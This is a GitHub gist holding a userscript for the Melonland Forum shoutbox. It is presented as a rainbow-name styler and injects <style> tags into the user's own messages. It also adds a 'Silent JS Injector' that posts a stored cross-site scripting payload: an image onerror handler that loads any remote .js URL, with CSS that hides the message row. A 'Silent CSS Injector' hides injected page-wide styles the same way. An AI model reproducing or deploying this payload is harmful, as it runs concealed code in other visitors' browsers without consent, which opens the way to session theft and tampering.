Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Select an option

  • Save Dan-Q/5d6381f1a4b6806705c6f66f2c870109 to your computer and use it in GitHub Desktop.

Select an option

Save Dan-Q/5d6381f1a4b6806705c6f66f2c870109 to your computer and use it in GitHub Desktop.
Userscript originally made to render your username in rainbow (or other) text in the shoutbox on Melonland Forum; now does lots of other things too.
// ==UserScript==
// @name Melonland Shoutbox Rainbow Name
// @namespace rainbow-name.net.melonland.forum.me.danq
// @match https://forum.melonland.net/*
// @icon data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAFH0lEQVRYR+1Wa0yTZxR+SikoqCCgKERsh0ocAhMCK7B5SdBlIxuGQUKGzLmhGwoKP4YDBoE/xCZuWWYmclHmJHFIjDKQZDMDMyUbqIDljrTcnIiUm7SF3nfeZjVy0Rb4sSzx/fN9X/K+5zzvc57znI9joIX/cHFeAfjfMcAko9PpjKqxtrZesnoWpAGWPDT0LUilEjDptrW1wdnZaUkgLAbAbr3O1RVPhofB0U/ibqMEHR2dSEpKwNjY2AtBmJqMw+HMu8ciACwIo5uBMOjkuNfYAa02AGJxAVJSUqBQKOcNzvabysTerays5uwzC4AlF4lESE1NBQxaiJsfQiYToLv7L1y/nguvLZtx6ptv5wSWyWQ4lshH1Gg2DtRkYUIlXxwAWxsbTKtU/9IuRUuLL9TqQty8eRslJRfmDcpum57OQ+TGeAiPFkIul8Pe3n5hJWA3FwgEkEiY4AxoamqiAP5oaPgZfX2tKLlQjL8Hh6BSq8HlcqHX62GqMwPdfdsP/OAGbNq0CV1dXS/UyLwlYAn37n0HVVWV4FlN417TCFpb+VAqf4Ho5DHE7o+Dh8cG+Pj4oqjoPB49GsCpWF9U3+vEnhhKNuiD0E9+hbi1De7u7i/tkjkAGH02PJ7xZtYcJam9C/39AVT3ArqJBGvXusLRcQWcnNYRQx8QMz8ieFkLFJNPEX2yGGVpn0KYUISz+YU4dOgzsy06B0B0dDRqampgZ2eHtLR0bN36Odrby1FbewXNzWIkJiZi9WonbNsWitaWW8gXpSMhMgRnqi/hp9Pr4fnGIHwELojZE4DgjzIgFAoXxgADsGWLF7y8tiLAfx/8/FYh6E0hjh9PwcTEKHbv3kXPzRgaqsJ7r8lQX10LpXcJbO8fQGjyWWOy+rx4BAYFwWBnC893syEh4zKt2X4wh4HY2P2IiIik3pZjx9s7CIgn4j5ORWCgB5YvX06AYrHasQ919UPwnrqE7fF56P4tHIKwCvD5AoyPj2H0w43gHDlqzPlYPgW3XcnGd3a50tLSGYzMK0IuGYaWtNDV9QQXL55HTMwRcrtmot6HlG6g1lNjcHCYOsQHnZ128LDdB2jUxsAHkw5i5fDDZ0k0Gg0cdiZjSqVBVFQUysrKzAPQarVY4+KCUbLYHqkUCuUaaDQr4egghU7Pw+TkBqhUf4LbVIzQpGJjwDqinQnYPyDA6A06imFNYl4UABZwenoaDx50k9i8yfNHwOMpKLE7PfXwfp06xWYV1ru5kSf0YmCgH36+vpiUK1AhioOekrMVtlNofHcO+3JhDJg4Yn7AWlJNNEqlvSQ+Pvy36wG9AuCuAnRPIekdIXNqwZ07t1BeXk5gO55RzGPzgwzKtCwuwfNFYrTm5uYiMzPTmJAUAA53BQwUWNrTR9oQoLIyBzk52TPckMUwTUIXZ2djOZkIL1++bF4DM3bQR3t7J279UY1Dh78AhyDAoKGxPE6DaZK84Tp6pQ/w3fenn1nx7PMv+zY7DdnhgoIiqjmPRm8yRmUD6OkdwuBjB1y7JsKZMz/QsFEsKjmLbRYAK0F4+PuIjIzAiRNfQXy/AbIRPu7eLUZCwmGjyl/0s2EJE2YBWNOkyy84R0bkD6XCDY1Nv2N4uBN1dfVU+4olJbeIAXu7ZaiorKIBtJucbhxZWZnIy8ujPyLtkpNbBIDN+YyMrxESEkw9r8CNG6W4evXKvD8illA+e4/ZEjzfTqbDS6n5ogAs5maWnrGIAUuDLWbfKwD/ANgnu78XicW8AAAAAElFTkSuQmCC
// @grant none
// @version 1.2.1
// @author Dan Q <melonland-rainbow-name@danq.me>
// @description 16/04/2026, 18:23:51
// ==/UserScript==
const RAINBOW_MODES = ['rainbow', 'dan-q-logo', 'black-on-white'];
// What CSS directives shall we inject into the name?
function rainbowCSSdirectives() {
let currentMode = localStorage.getItem('nameRainbowModeThing');
if(!currentMode || currentMode == '') return;
switch(currentMode){
case 'rainbow':
return 'background-image: linear-gradient(to left,violet,indigo,blue,green,yellow,orange,red); font-weight:bold; -webkit-background-clip:text; color:transparent !important;';
case 'dan-q-logo':
return 'color: transparent !important; text-decoration: none; background: url(//danq.me/_q26u/2026/04/danq-logo-inv-ml.svg) center no-repeat; background-size: contain; display: inline-block; width: 56px;';
case 'black-on-white':
return 'background: white; color: black !important; text-decoration: none;';
}
}
// Rainbow up my name!
function rainbowUpMyName(shoutboxMessage){
if(shoutboxMessage.value.length < 1) return;
const randomId = `mlf-dq-rainbowname-${Date.now()}${(Math.random() + 1).toString(36).substr(2)}`;
const cssDirectives = rainbowCSSdirectives();
if(!cssDirectives) return;
const injectedCode = `<style id="${randomId}">.shoutbox_row:has(style#${randomId}) .shoutbox_text_left a[href^="https://forum.melonland.net/index.php?action=profile"]:nth-of-type(2){${cssDirectives}}</style>`;
shoutboxMessage.value = `${injectedCode}${shoutboxMessage.value}`;
}
// Capture clicks on the send button
document.addEventListener('click', e=>{
const chatSubmit = e.target.closest('.button_submit');
if(!chatSubmit) return;
const shoutboxInputBar = chatSubmit.closest('.shoutbox_input_bar');
if(!shoutboxInputBar) return;
const shoutboxMessage = shoutboxInputBar.querySelector('#shoutbox_message');
if(!shoutboxMessage) return;
rainbowUpMyName(shoutboxMessage);
}, { capture: true, passive: true });
// Capture enter-presses within the say box
document.addEventListener('keypress', e=>{
const shoutboxMessage = e.target.closest('#shoutbox_message');
if(!shoutboxMessage) return;
const key = window.event ? event.keyCode : event.which;
if(key != 13) return;
rainbowUpMyName(shoutboxMessage);
}, { capture: true, passive: true });
// Add some controls:
function addRainbowModeControls(){
const shoutboxInputBar = document.querySelector('.shoutbox_input_bar');
if(!shoutboxInputBar) return;
// Rainbow Mode selector:
const selectBox = document.createElement('select');
const currentMode = localStorage.getItem('nameRainbowModeThing');
selectBox.innerHTML = '<option value="">unstyled</option>' + RAINBOW_MODES.map(m=>`<option value="${m}">${m}</option>`);
if(currentMode){
selectBox.querySelector(`option[value="${currentMode}"]`).selected = true;
}
selectBox.addEventListener('change', ()=>{
localStorage.setItem('nameRainbowModeThing', selectBox.value);
});
shoutboxInputBar.after(selectBox);
// JS Injector:
const jsInjectorDialog = document.createElement('dialog');
jsInjectorDialog.style.position = 'fixed';
jsInjectorDialog.style.bottom = '12px';
jsInjectorDialog.style.zIndex = 9999;
jsInjectorDialog.innerHTML = `
<h2>Silent JS Injector (.js URL!)</h2>
<p><input type="url" id="jsInjectorUrl"></p>
<p>
<button id="jsInjectOk">Inject</button>
<button id="jsInjectCancel">Cancel</button>
</p>
`;
jsInjectorDialog.addEventListener('click', (e)=>{
const button = e.target.closest('button');
if(!button) return;
if(button.id == 'jsInjectCancel') {
jsInjectorDialog.open = false;
return;
} else if(button.id == 'jsInjectOk') {
const url = jsInjectorDialog.querySelector('#jsInjectorUrl').value;
const payload = '<img src="//invalid" onerror="s=document.createElement(\'script\');s.src=\'' + url + '\';document.body.appendChild(s)">';
const payloadWrapper = '<style class="danq-js-pl">.shoutbox_row:has(.danq-js-pl){display:none}</style>' + payload;
document.getElementById('shoutbox_message').value = payloadWrapper;
jsInjectorDialog.open = false;
}
}, { capture: true });
const jsInjectorButton = document.createElement('button');
jsInjectorButton.innerText = 'JS';
jsInjectorButton.style.borderRadius = 0;
jsInjectorButton.style.border = '1px solid #8eabb3';
jsInjectorButton.style.background = '#bef7ff';
jsInjectorButton.style.height = '19px';
jsInjectorButton.style.padding = 0;
jsInjectorButton.style.margin = '0 2px';
jsInjectorButton.style.cursor = 'pointer';
jsInjectorButton.addEventListener('click', ()=>{
jsInjectorDialog.open = true;
});
shoutboxInputBar.after(jsInjectorDialog);
shoutboxInputBar.after(jsInjectorButton);
// Silent Style Injector:
const ssiInjectorDialog = document.createElement('dialog');
ssiInjectorDialog.style.position = 'fixed';
ssiInjectorDialog.style.bottom = '12px';
ssiInjectorDialog.style.zIndex = 9999;
ssiInjectorDialog.innerHTML = `
<h2>Silent CSS Injector</h2>
<p><textarea style="min-height: 74px; min-width: 500px;"></textarea></p>
<p>
<button id="ssiInjectOk">Inject</button>
<button id="ssiInjectCancel">Cancel</button>
<label><input id="ssiSim" type="checkbox"> Sim?</label>
</p>
`;
ssiInjectorDialog.addEventListener('click', (e)=>{
const button = e.target.closest('button');
if(!button) return;
if(button.id == 'ssiInjectCancel') {
ssiInjectorDialog.querySelector('#ssiSim').checked = false;
reSimulate();
ssiInjectorDialog.open = false;
return;
} else if(button.id == 'ssiInjectOk') {
const payload = ssiInjectorDialog.querySelector('textarea').value.replace(/\n */, '');
const payloadWrapper = '<style class="danq-ssi-pl">.shoutbox_row:has(.danq-ssi-pl){display:none}' + payload + '</style>';
document.getElementById('shoutbox_message').value = payloadWrapper;
ssiInjectorDialog.querySelector('#ssiSim').checked = false;
reSimulate();
ssiInjectorDialog.open = false;
}
}, { capture: true });
function reSimulate(){
for(const oldSim of document.querySelectorAll('style#ssi-simulator')) oldSim.remove();
if(!ssiInjectorDialog.querySelector('#ssiSim:checked')) return;
const simulator = document.createElement('style');
simulator.id = 'ssi-simulator';
simulator.innerText = ssiInjectorDialog.querySelector('textarea').value;
document.body.appendChild(simulator);
}
ssiInjectorDialog.addEventListener('change', reSimulate, { capture: true });
ssiInjectorDialog.addEventListener('keyup', reSimulate, { capture: true });
const ssiInjectorButton = document.createElement('button');
ssiInjectorButton.innerText = 'CSS';
ssiInjectorButton.style.borderRadius = 0;
ssiInjectorButton.style.border = '1px solid #8eabb3';
ssiInjectorButton.style.background = '#bef7ff';
ssiInjectorButton.style.height = '19px';
ssiInjectorButton.style.padding = 0;
ssiInjectorButton.style.margin = '0 2px';
ssiInjectorButton.style.cursor = 'pointer';
ssiInjectorButton.addEventListener('click', ()=>{
ssiInjectorDialog.open = true;
});
shoutboxInputBar.after(ssiInjectorDialog);
shoutboxInputBar.after(ssiInjectorButton);
}
addRainbowModeControls();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment